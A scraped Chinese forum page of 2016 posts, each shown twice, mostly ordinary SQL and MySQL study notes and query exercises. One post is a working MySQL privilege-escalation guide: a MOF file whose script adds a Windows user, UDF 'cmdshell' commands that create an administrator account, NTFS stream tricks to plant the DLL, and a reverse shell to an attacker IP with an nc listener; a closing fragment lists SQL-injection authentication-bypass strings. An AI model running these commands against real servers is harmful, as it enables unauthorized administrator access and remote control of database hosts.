SQL语句补充知识

pygain 发表了文章 • 2 个评论 • 705 次浏览 • 2016-10-06 14:26 • 来自相关话题

这里补充一些课堂没有讲到,个人认为比较重要的SQL语句
1.不列重复值
SELECT DISTINCT City FROM Company 去掉重复的City
2.升序和降序排列
SELECT City FROM Company ORDER BY City 按照字母升序排列
SELECT City FROM Company ORDER BY City DESC 按照字母降序排列 (可添加多个参数)
3.规定返回记录的数目
SELECT TOP3 (30 PERCENT)*FROM Company
SELECT * FROM Company LIMIT 3 
SELECT * FROM Company WHERE ROWNUM <=5
4.通配符问题
SELECT * FROM Company WHERE City LIKE '%A'/'B%'/'%C%' %代替一个或多个字符
SELECT * FROM Company WHERE City LIKE '_age'/'Bull_'/'C_h_y_e' _代替一个字符
SELECT * FROM Company WHERE City LIKE '[ABC]%'/'[!ABC]%' 以A或B或C开头字符
5.使用别名
SELECT City FROM Company AS CY 表的别名
SELECT City AS CT FROM Comapny 列的别名
SELECT CY.City CU.Name FROM Company AS CY,Customer AS CU where CY.City='Beijing'WHERE CU.Name='Bob'
6.多表内容的获取
SELECT CY.City CU.Name FROM Company AS CY INNER JOIN Customer AS CU ON CY.City=CU.Name
7.表合并
SELECT City FROM Company NUION(ALL) SELECT City FROM Customer 允许或者不允许重复值
UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。  
8.选取数据并插入以其他表(备份表)
SELECT * INTO Company_Backup(IN 'backup.mdb') FROM Company 备份表(到另一个数据库)
SELECT * INTO Company_Backup(IN 'backup.mdb') FROM Company WHERE City='A%'
SELECT * INTO Company_Backup(IN 'backup.mdb') FROM Company INNER JOIN Customer ON Company.City=Customer.Name
9.字段内值不相等
CREATE TABLE Persons ( 
Id_P int NOT NULL, 
LastName varchar(255) NOT NULL,
 FirstName varchar(255), 
Address varchar(255), 
City varchar(255), 
UNIQUE (Id_P) 
)
CONSTRAINT uc_PersonID UNIQUE (Id_P,LastName)给约束命名
ALTER TABLE Persons ADD CONSTRAINT uc_PersonID UNIQUE (Id_P,LastName)增加约束
ALTER TABLE Persons DROP CONSTRAINT uc_PersonID 撤销约束
10.主键
CREATE TABLE Persons ( 
Id_P int NOT NULL,
 LastName varchar(255) NOT NULL,
 FirstName varchar(255), 
Address varchar(255),
 City varchar(255),
 PRIMARY KEY (Id_P)
 )
CONSTRAINT pk_PersonID PRIMARY KEY (Id_P,LastName)主键名字
ALTER TABLE Persons ADD CONSTRAINT pk_PersonID PRIMARY KEY (Id_P,LastName) 增加主键
ALTER TABLE Persons DROP CONSTRAINT pk_PersonID
11.外键
CREATE TABLE Orders (
 Id_O int NOT NULL, 
OrderNo int NOT NULL, 
Id_P int, 
PRIMARY KEY (Id_O), 
FOREIGN KEY [b] REFERENCES Persons(Id_P) )指向Person表的主键
或者
Id_P int FOREIGN KEY REFERENCES Persons(Id_P)

CONSTRAINT fk_PerOrders FOREIGN KEY (Id_P) REFERENCES Persons(Id_P)外键约束命名
ALTER TABLE Orders ADD (CONSTRAINT fk_PerOrders )FOREIGN KEY (Id_P) REFERENCES Persons(Id_P)增加外键约束
ALTER TABLE Orders DROP FOREIGN KEY fk_PerOrders/DROP CONSTRAINT fk_PerOrders
12.限制值的范围
CREATE TABLE Persons (
 Id_P int NOT NULL,
 LastName varchar(255) NOT NULL, 
FirstName varchar(255), 
Address varchar(255), 
City varchar(255), 
CHECK (Id_P>0) 
或者 
CONSTRAINT chk_Person CHECK 约束命名
)
[b]ADD CONSTRAINT chk_Person CHECK (Id_P>0 AND City='Sandnes')增加约束
DROP CONSTRAINT chk_Person/DROP CHECK chk_Person撤销约束
13.索引
CREATE (UNIQUE)INDEX index_name ON table_name (column_name (DESC))表上创建列的索引(降序)
DROP INDEX index_name ON table_name撤销索引
 

 

 

 
 
 
 
  查看全部
这里补充一些课堂没有讲到,个人认为比较重要的SQL语句
1.不列重复值
SELECT DISTINCT City FROM Company 去掉重复的City
2.升序和降序排列
SELECT City FROM Company ORDER BY City 按照字母升序排列
SELECT City FROM Company ORDER BY City DESC 按照字母降序排列 (可添加多个参数)
3.规定返回记录的数目
SELECT TOP3 (30 PERCENT)*FROM Company
SELECT * FROM Company LIMIT 3 
SELECT * FROM Company WHERE ROWNUM <=5
4.通配符问题
SELECT * FROM Company WHERE City LIKE '%A'/'B%'/'%C%' %代替一个或多个字符
SELECT * FROM Company WHERE City LIKE '_age'/'Bull_'/'C_h_y_e' _代替一个字符
SELECT * FROM Company WHERE City LIKE '[ABC]%'/'[!ABC]%' 以A或B或C开头字符
5.使用别名
SELECT City FROM Company AS CY 表的别名
SELECT City AS CT FROM Comapny 列的别名
SELECT CY.City CU.Name FROM Company AS CY,Customer AS CU where CY.City='Beijing'WHERE CU.Name='Bob'
6.多表内容的获取
SELECT CY.City CU.Name FROM Company AS CY INNER JOIN Customer AS CU ON CY.City=CU.Name
7.表合并
SELECT City FROM Company NUION(ALL) SELECT City FROM Customer 允许或者不允许重复值
UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。  
8.选取数据并插入以其他表(备份表)
SELECT * INTO Company_Backup(IN 'backup.mdb') FROM Company 备份表(到另一个数据库)
SELECT * INTO Company_Backup(IN 'backup.mdb') FROM Company WHERE City='A%'
SELECT * INTO Company_Backup(IN 'backup.mdb') FROM Company INNER JOIN Customer ON Company.City=Customer.Name
9.字段内值不相等
CREATE TABLE Persons ( 
Id_P int NOT NULL, 
LastName varchar(255) NOT NULL,
 FirstName varchar(255), 
Address varchar(255), 
City varchar(255), 
UNIQUE (Id_P) 
)
CONSTRAINT uc_PersonID UNIQUE (Id_P,LastName)给约束命名
ALTER TABLE Persons ADD CONSTRAINT uc_PersonID UNIQUE (Id_P,LastName)增加约束
ALTER TABLE Persons DROP CONSTRAINT uc_PersonID 撤销约束
10.主键
CREATE TABLE Persons ( 
Id_P int NOT NULL,
 LastName varchar(255) NOT NULL,
 FirstName varchar(255), 
Address varchar(255),
 City varchar(255),
 PRIMARY KEY (Id_P)
 )
CONSTRAINT pk_PersonID PRIMARY KEY (Id_P,LastName)主键名字
ALTER TABLE Persons ADD CONSTRAINT pk_PersonID PRIMARY KEY (Id_P,LastName) 增加主键
ALTER TABLE Persons DROP CONSTRAINT pk_PersonID
11.外键
CREATE TABLE Orders (
 Id_O int NOT NULL, 
OrderNo int NOT NULL, 
Id_P int, 
PRIMARY KEY (Id_O), 
FOREIGN KEY [b] REFERENCES Persons(Id_P) )指向Person表的主键
或者
Id_P int FOREIGN KEY REFERENCES Persons(Id_P)

CONSTRAINT fk_PerOrders FOREIGN KEY (Id_P) REFERENCES Persons(Id_P)外键约束命名
ALTER TABLE Orders ADD (CONSTRAINT fk_PerOrders )FOREIGN KEY (Id_P) REFERENCES Persons(Id_P)增加外键约束
ALTER TABLE Orders DROP FOREIGN KEY fk_PerOrders/DROP CONSTRAINT fk_PerOrders
12.限制值的范围
CREATE TABLE Persons (
 Id_P int NOT NULL,
 LastName varchar(255) NOT NULL, 
FirstName varchar(255), 
Address varchar(255), 
City varchar(255), 
CHECK (Id_P>0) 
或者 
CONSTRAINT chk_Person CHECK 约束命名
)
[b]ADD CONSTRAINT
chk_Person CHECK (Id_P>0 AND City='Sandnes')增加约束
DROP CONSTRAINT chk_Person/DROP CHECK chk_Person撤销约束
13.索引
CREATE (UNIQUE)INDEX index_name ON table_name (column_name (DESC))表上创建列的索引(降序)
DROP INDEX index_name ON table_name撤销索引
 

 

 

 
 
 
 
 

MySQL学习笔记

Kyhvedn 发表了文章 • 3 个评论 • 730 次浏览 • 2016-09-17 15:25 • 来自相关话题

0x00 数据库和数据表
数据库
概述
数据库(Database)就是经过计算机整理后的数据。
数据库是按照数据结构来组织、存储和管理数据的仓库。
基于数据库的web系统
web浏览器<======>php服务器脚本<======>数据库管理系统
php几乎可以实现所有数据库系统。

数据表
概述
数据表(或称表)是数据库的基本对象元素,以记录和字段组成的二维结构用于存储数据。
字段(可以理解为列),保存的数据为同一类型。
记录(可以理解为行),保存的是输入的信息。
数据库能够保存若干个表。
数据表是数据库最重要的组成部分之一。数据库只是一个框架,数据表才是其实质内容。

0x01 SQL语言
分为四大部分:
数据库定义语言DDL 
用于定义和管理数据对象(数据库、数据表)。
语句:create҅创建、drop删除、alter更改
数据库操作语言DML
用于操作数据库对象中包含的数据。
语句:insert҅添加、update更新҅、delete删除
数据库查询语言DQL
查询数据库对象中包含的数据。最重要的部分。
语句:select查询
数据库控制语言DCL
用来管理数据库的权限和数据更改。
语句:grant授权,revoke解除权限,commit提交数据,rollback回滚

数值类型
整型
int()、bigint()
浮点型
float()
字符串类型
text、varchar()
日期和时间类型
date(格式YYYY-MM-DD)、time(格式hh:mm:ss)、datetime(格式YYYY-MM-DD hh:mm:ss)

字段属性
auto_increment 值自增
null和no null  能否为空
default ''        设置默认值

创建索引
索引在数据库开发中起着非常重要的作用。
通过在表字段中建立索引可以优化查询,确保数据的唯一性,并可以对全文索引字段中的大量文本搜索进行优化。
主键索引(primary key)
主键索引是关系型数据库最常见的索引类型。
主要作用是确定数据表中一条数据的位置。
主键是唯一标识。
每个表只有一个主键且主键不为空。
唯一索引(unique)
唯一索引与主键索引一样,可以防止创建重复的值。
主键只有一个而唯一索引可以有多个。

0x01 mysql常见操作
在电脑属性——高级系统设置——环境变量的Path添加mysql的执行路径就可以通过cmd直接使用mysql命令
mysql -h 127.0.0.1/服务器主机地址/ -u root/用户名/ -p /密码/ 登陆mysql
最高权限用户为root
增加——insert into 数据表(字段1,字段2,...) values('值1','值2',...)
删除——delete from 数据表 where 条件
修改——update 数据表 set 字段1='值1',字段2='值2',... where 条件
查询——select 字段(*代表全部字段) from 表名 where 条件

#对数据库操作
查看数据库
show databases;
创建数据库
create database tmp;
create database if not exists tmp;
create database tmp2 character set utf8;  创建的时候设置字符集
数据库名、表名、字段不要用中文,因为它使用的是ASCII编码。
使用数据库
use tmp;
删除数据库
drop database tmp;
drop database if exists tmp;

#对数据表操作
创建表的时候除了执行字段名称、字段类型和字段属性外,还需要使用约束constraint、索引index、主键primary key和外键foreign key。
查看表
show tables;
创建表
create table [if not exists] [表名](
    字段名 列类型 [属性] [索引]
    ......
    );
删除表
drop table [if exists] [表名];
修改表
添加列(字段)
alter table [表名] add [列名] <建表语法> [first | after 列名](确定位置)
修改列类型
alter table [表名] change [列名] <建表语句>
修改表名
alter table [旧表名]෯ rename as [新表名]
查看表结构(字段)
desc [表名];

#sql语句设计
对记录(行)进行操作

insert into student (stu_name,stu_age,stu_sex) values ('张三','18','男');

delete from student where;

update student set stu_sex = 'nan';
update student set stu_sex = '女' where stu_id = '11';
update student set stu_age = '100',stu_sex = '233' where stu_age<'10';

select * from student;
select stu_name,stu_age from student;
select * from student where stu_name in ('王大锤','戚美丽','孙如华');
select * from student where stu_age between '20' and '50';
select stu_id as '编号',stu_name as '姓名',stu_age as '年龄',stu_sex as '性别' from student; 输出时字段重命名

#where按条件检索
and或&&  逻辑与
or或||   逻辑或
xor      逻辑异或
not或!   逻辑非
=        相等
<=>      可以用作NULL比较的相等符
!=或<>   不相等
<、<=、>、>=
is null  判断是否为空
is not null
between a and b 判断在a和b之间的信息
not between
in (n1,n2,n3......)   判断是否是其中一个

#模糊查询
like  模糊匹配
no like  不匹配类似的
%表示任意0个或多个字符
_表示任意一个字符


示例:
create table if not exists student(
-> stu_id int auto_increment not null primary key,
-> stu_name varchar(30) not null default 'no name',
-> stu_age int
-> );

#创建一个员工表employee
create table if not exists employee(
-> emp_id int auto_increment not null primary key,
-> emp_name varchar(30) not null default 'no name',
-> emp_age int,
-> emp_pay float,
-> emp_born date,
-> emp_number varchar(30) not null,
-> emp_boss varchar(30)
-> );

#对字段(列)进行操作
增加列
alter table student add stu_sex varchar(10) ;
删除列
alter table student drop stu_age;
修改列
alter table student change stu_sex stu_sex varchar(5) not null;
修改表名
alter table student rename as stu;
增加列到指定位置
alter table stu add stu_ages int first/after stu_name;

#修改列
添加入职时间:日期类型 不为空
删除年龄字段
修改上司编号字段:mag_no
修改表名:employee_table
alter table employee add emp_time date not null;
alter table employee drop emp_age;
alter table employee_table change emp_boss mag_no varchar(10) not null;
alter table employee rename as employee_table;

#示例查询
1.将出厂日期2016年10月1日出厂的手机,价格2000;
update shopping set s_cost='2000' where s_date='2016-10-01';
2.查找价格在1000~2000之间并且手机品牌是(三星,苹果,小米)。
select * from shopping where s_cost between '1000' and '2000' and s_brand in ('苹果','小米','三星');
3.删除所有三星手机。
delete from shopping where s_brand= '三星';

#模糊查询
select * from student where stu_name like '%四%';
select * from student where stu_name like '王_';
select * from student where stu_sex ='男' and stu_age between '20' and '30';
select * from student where stu_name like '王%' or stu_age<'20';
select * from student where stu_name not like '王%';
0x02 多表查询
概述
对多张表中的数据同时进行查询,也叫作链表查询。
多表查询是关系型数据库的重要特点。
可以通过连接运算符实现多个表查询。
将数据分配到多个表中进行优化,拥有大量窄表(数据较少的表)。
多表查询和单表查询差不多,只不过多表查询时需要把多张表的名字全部填写在from子句中并以逗号分隔。
为了筛选笛卡尔积,建表的时候多张表之间要有相同的字段。

关系数据库必须符合三范式。
第一范式:
内容相似的数据列必须消除(消除的方法是再创建一个数据表来存放他们)。
必须为每一组相关数据分别创建一个数据表。
每条数据记录必须用一个主键标识。
简单来说就是属性(可以看做“数据表的列”)不可分且不重复。
第二范式:
只要数据列的内容出现重复,就应该把数据表拆分为多个子表。
拆分形成的数据表必须用外键关联起来。
简单来说就是满足第一范式且非主键属性完全依赖于码(多表里相似的数据列)
第三范式:与主键没有关系的数据列必须消除。
简单来说就是满足第一二范式且消除无关列

0x03 嵌套查询
使用in将一个查询语句的结果作为另一个查询语句的条件。

0x04 分页
如果在数据表中的记录非常多,可以使用limit子句一次读取少量记录,分次读取。
limit 0,3 参数1为开始位置,参数2为设定偏移个数

0x05 回滚
数据提交完成就不能回滚。
所以一般会关闭自动提交。
set autocommit=0; 关闭自动提交
start transaction 开启事务
rollback;

0x06 创建新用户并授权
操作MySQL授权表:grant语句
语法:grant [权限] on [数据库对象] to [用户]@[登陆主机] identified by [密码]
权限分为select、insert、updata、delete.
授权必须在root权限下执行。

示例:
多表查询
select * from employee,dop where e_dopid=d_id;
多表精准查询
select e_name,d_name from employee,dop where e_dopid=d_id and e_name='xiaoyi';
select e_name from employee,dop where e_dopid=d_id and d_name='develop';
嵌套查询
select e_name from employee where e_dopid in (select d_id from dop where d_name='develop');
分页
select * from employee where e_dopid='001' limit 0,3;

数据回滚
rollback;
提交数据
commit;

创建新用户并授权
grant select/所授权限/ on tmp3.*/指定的数据库和表/ to 'mk'/新用户名/@127.0.0.1/所在主机/ identified by '123'/新用户密码/;
 
白衣行侠,轻剑快马 查看全部
0x00 数据库和数据表
数据库
概述
数据库(Database)就是经过计算机整理后的数据。
数据库是按照数据结构来组织、存储和管理数据的仓库。
基于数据库的web系统
web浏览器<======>php服务器脚本<======>数据库管理系统
php几乎可以实现所有数据库系统。

数据表
概述
数据表(或称表)是数据库的基本对象元素,以记录和字段组成的二维结构用于存储数据。
字段(可以理解为列),保存的数据为同一类型。
记录(可以理解为行),保存的是输入的信息。
数据库能够保存若干个表。
数据表是数据库最重要的组成部分之一。数据库只是一个框架,数据表才是其实质内容。

0x01 SQL语言
分为四大部分:
数据库定义语言DDL 
用于定义和管理数据对象(数据库、数据表)。
语句:create҅创建、drop删除、alter更改
数据库操作语言DML
用于操作数据库对象中包含的数据。
语句:insert҅添加、update更新҅、delete删除
数据库查询语言DQL
查询数据库对象中包含的数据。最重要的部分。
语句:select查询
数据库控制语言DCL
用来管理数据库的权限和数据更改。
语句:grant授权,revoke解除权限,commit提交数据,rollback回滚

数值类型
整型
int()、bigint()
浮点型
float()
字符串类型
text、varchar()
日期和时间类型
date(格式YYYY-MM-DD)、time(格式hh:mm:ss)、datetime(格式YYYY-MM-DD hh:mm:ss)

字段属性
auto_increment 值自增
null和no null  能否为空
default ''        设置默认值

创建索引
索引在数据库开发中起着非常重要的作用。
通过在表字段中建立索引可以优化查询,确保数据的唯一性,并可以对全文索引字段中的大量文本搜索进行优化。
主键索引(primary key)
主键索引是关系型数据库最常见的索引类型。
主要作用是确定数据表中一条数据的位置。
主键是唯一标识。
每个表只有一个主键且主键不为空。
唯一索引(unique)
唯一索引与主键索引一样,可以防止创建重复的值。
主键只有一个而唯一索引可以有多个。

0x01 mysql常见操作
在电脑属性——高级系统设置——环境变量的Path添加mysql的执行路径就可以通过cmd直接使用mysql命令
mysql -h 127.0.0.1/服务器主机地址/ -u root/用户名/ -p /密码/ 登陆mysql
最高权限用户为root
增加——insert into 数据表(字段1,字段2,...) values('值1','值2',...)
删除——delete from 数据表 where 条件
修改——update 数据表 set 字段1='值1',字段2='值2',... where 条件
查询——select 字段(*代表全部字段) from 表名 where 条件

#对数据库操作
查看数据库
show databases;
创建数据库
create database tmp;
create database if not exists tmp;
create database tmp2 character set utf8;  创建的时候设置字符集
数据库名、表名、字段不要用中文,因为它使用的是ASCII编码。
使用数据库
use tmp;
删除数据库
drop database tmp;
drop database if exists tmp;

#对数据表操作
创建表的时候除了执行字段名称、字段类型和字段属性外,还需要使用约束constraint、索引index、主键primary key和外键foreign key。
查看表
show tables;
创建表
create table [if not exists] [表名](
    字段名 列类型 [属性] [索引]
    ......
    );
删除表
drop table [if exists] [表名];
修改表
添加列(字段)
alter table [表名] add [列名] <建表语法> [first | after 列名](确定位置)
修改列类型
alter table [表名] change [列名] <建表语句>
修改表名
alter table [旧表名]෯ rename as [新表名]
查看表结构(字段)
desc [表名];

#sql语句设计
对记录(行)进行操作

insert into student (stu_name,stu_age,stu_sex) values ('张三','18','男');

delete from student where;

update student set stu_sex = 'nan';
update student set stu_sex = '女' where stu_id = '11';
update student set stu_age = '100',stu_sex = '233' where stu_age<'10';

select * from student;
select stu_name,stu_age from student;
select * from student where stu_name in ('王大锤','戚美丽','孙如华');
select * from student where stu_age between '20' and '50';
select stu_id as '编号',stu_name as '姓名',stu_age as '年龄',stu_sex as '性别' from student; 输出时字段重命名

#where按条件检索
and或&&  逻辑与
or或||   逻辑或
xor      逻辑异或
not或!   逻辑非
=        相等
<=>      可以用作NULL比较的相等符
!=或<>   不相等
<、<=、>、>=
is null  判断是否为空
is not null
between a and b 判断在a和b之间的信息
not between
in (n1,n2,n3......)   判断是否是其中一个

#模糊查询
like  模糊匹配
no like  不匹配类似的
%表示任意0个或多个字符
_表示任意一个字符


示例:
create table if not exists student(
-> stu_id int auto_increment not null primary key,
-> stu_name varchar(30) not null default 'no name',
-> stu_age int
-> );

#创建一个员工表employee
create table if not exists employee(
-> emp_id int auto_increment not null primary key,
-> emp_name varchar(30) not null default 'no name',
-> emp_age int,
-> emp_pay float,
-> emp_born date,
-> emp_number varchar(30) not null,
-> emp_boss varchar(30)
-> );

#对字段(列)进行操作
增加列
alter table student add stu_sex varchar(10) ;
删除列
alter table student drop stu_age;
修改列
alter table student change stu_sex stu_sex varchar(5) not null;
修改表名
alter table student rename as stu;
增加列到指定位置
alter table stu add stu_ages int first/after stu_name;

#修改列
添加入职时间:日期类型 不为空
删除年龄字段
修改上司编号字段:mag_no
修改表名:employee_table
alter table employee add emp_time date not null;
alter table employee drop emp_age;
alter table employee_table change emp_boss mag_no varchar(10) not null;
alter table employee rename as employee_table;

#示例查询
1.将出厂日期2016年10月1日出厂的手机,价格2000;
update shopping set s_cost='2000' where s_date='2016-10-01';
2.查找价格在1000~2000之间并且手机品牌是(三星,苹果,小米)。
select * from shopping where s_cost between '1000' and '2000' and s_brand in ('苹果','小米','三星');
3.删除所有三星手机。
delete from shopping where s_brand= '三星';

#模糊查询
select * from student where stu_name like '%四%';
select * from student where stu_name like '王_';
select * from student where stu_sex ='男' and stu_age between '20' and '30';
select * from student where stu_name like '王%' or stu_age<'20';
select * from student where stu_name not like '王%';
0x02 多表查询
概述
对多张表中的数据同时进行查询,也叫作链表查询。
多表查询是关系型数据库的重要特点。
可以通过连接运算符实现多个表查询。
将数据分配到多个表中进行优化,拥有大量窄表(数据较少的表)。
多表查询和单表查询差不多,只不过多表查询时需要把多张表的名字全部填写在from子句中并以逗号分隔。
为了筛选笛卡尔积,建表的时候多张表之间要有相同的字段。

关系数据库必须符合三范式。
第一范式:
内容相似的数据列必须消除(消除的方法是再创建一个数据表来存放他们)。
必须为每一组相关数据分别创建一个数据表。
每条数据记录必须用一个主键标识。
简单来说就是属性(可以看做“数据表的列”)不可分且不重复。
第二范式:
只要数据列的内容出现重复,就应该把数据表拆分为多个子表。
拆分形成的数据表必须用外键关联起来。
简单来说就是满足第一范式且非主键属性完全依赖于码(多表里相似的数据列)
第三范式:与主键没有关系的数据列必须消除。
简单来说就是满足第一二范式且消除无关列

0x03 嵌套查询
使用in将一个查询语句的结果作为另一个查询语句的条件。

0x04 分页
如果在数据表中的记录非常多,可以使用limit子句一次读取少量记录,分次读取。
limit 0,3 参数1为开始位置,参数2为设定偏移个数

0x05 回滚
数据提交完成就不能回滚。
所以一般会关闭自动提交。
set autocommit=0; 关闭自动提交
start transaction 开启事务
rollback;

0x06 创建新用户并授权
操作MySQL授权表:grant语句
语法:grant [权限] on [数据库对象] to [用户]@[登陆主机] identified by [密码]
权限分为select、insert、updata、delete.
授权必须在root权限下执行。

示例:
多表查询
select * from employee,dop where e_dopid=d_id;
多表精准查询
select e_name,d_name from employee,dop where e_dopid=d_id and e_name='xiaoyi';
select e_name from employee,dop where e_dopid=d_id and d_name='develop';
嵌套查询
select e_name from employee where e_dopid in (select d_id from dop where d_name='develop');
分页
select * from employee where e_dopid='001' limit 0,3;

数据回滚
rollback;
提交数据
commit;

创建新用户并授权
grant select/所授权限/ on tmp3.*/指定的数据库和表/ to 'mk'/新用户名/@127.0.0.1/所在主机/ identified by '123'/新用户密码/;
 
白衣行侠,轻剑快马

MYSQL提权的各种姿势

linkally 发表了文章 • 0 个评论 • 922 次浏览 • 2016-09-14 20:45 • 来自相关话题

一、利用mof提权

前段时间Kingcope大牛发布了mysql远程提权0day,剑心牛对MOF利用进行了分析,如下:

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

具体到mysql提权中,我们又该怎么利用呢?

1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。
namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user c0de code /add\")";
};
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
;
 
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
二、利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2、创建相应的函数并执行命令,具体如下:
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数
3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
 select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
三、反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -p



Enter password:

mysql> \. c:\mysql.txt
mysql>select backshell("YourIP",2010);
2、本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权
 
  查看全部
一、利用mof提权

前段时间Kingcope大牛发布了mysql远程提权0day,剑心牛对MOF利用进行了分析,如下:

Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

具体到mysql提权中,我们又该怎么利用呢?

1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。
namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user c0de code /add\")";
};
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
;
 
2、执行load_file及into dumpfile把文件导出到正确的位置即可。
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
二、利用UDF提权

udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。
1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
连接到mysql以后,先导出udf.dll到c:\windows\system32目录下。
2、创建相应的函数并执行命令,具体如下:
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user waitalone waitalone.cn /add');
select cmdshell('net localgroup administrators waitalone /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell'  删除函数
3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法
 select @@basedir;   
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
三、反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -p



Enter password:

mysql> \. c:\mysql.txt
mysql>select backshell("YourIP",2010);
2、本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权
 
 

SQL查询语句练习,内含代码

katerina 发表了文章 • 2 个评论 • 754 次浏览 • 2016-09-13 16:56 • 来自相关话题

1、查询student表内所有内容






2、以汉字代替英文字段“stu_id”、“stu_name”、“stu_age”、“stu_sex”显示查询。






3、查询年龄在“20”到“50”之间的人。






4、查询所有名字中带“王”字的人





5、查询所有不姓王的人。






6、查询姓“王”或年龄小于“20”的人。






7、查询所有性别为“男”并且年龄在20-30之间。





 
 
~~~~~~~~~~~~~~~~~分隔符~~~~~~~~~~~~~~~~~
      ps:大三上学期的时候这些都学过,但是那时候没有好好听,现在真是后悔!希望以后更加努力吧!共勉!!! 查看全部
1、查询student表内所有内容

图片1.png


2、以汉字代替英文字段“stu_id”、“stu_name”、“stu_age”、“stu_sex”显示查询。

图片2.png


3、查询年龄在“20”到“50”之间的人。

图片3.png


4、查询所有名字中带“王”字的人

图片4.png

5、查询所有不姓王的人。

图片5.png


6、查询姓“王”或年龄小于“20”的人。

图片6.png


7、查询所有性别为“男”并且年龄在20-30之间。

图片7.png

 
 
~~~~~~~~~~~~~~~~~分隔符~~~~~~~~~~~~~~~~~
      ps:大三上学期的时候这些都学过,但是那时候没有好好听,现在真是后悔!希望以后更加努力吧!共勉!!!

【转载】MySQL注入技巧

Kyhvedn 发表了文章 • 1 个评论 • 721 次浏览 • 2016-09-08 17:26 • 来自相关话题

0x00 介绍
很多东西都是一样的,但是有一些小技巧确实很使用。
以下所有技巧都只在mysql适用,因为它太灵活了。
 
0x01 MYSQl灵活的语法
 
1、MySQL语法以及认证绕过
注释符:
#,
-- X(X为任意字符)
/*(MySQL-5.1)
;
`
'or 1=1;
'or 1=1 union select 1,2`'
'or 1=1 #
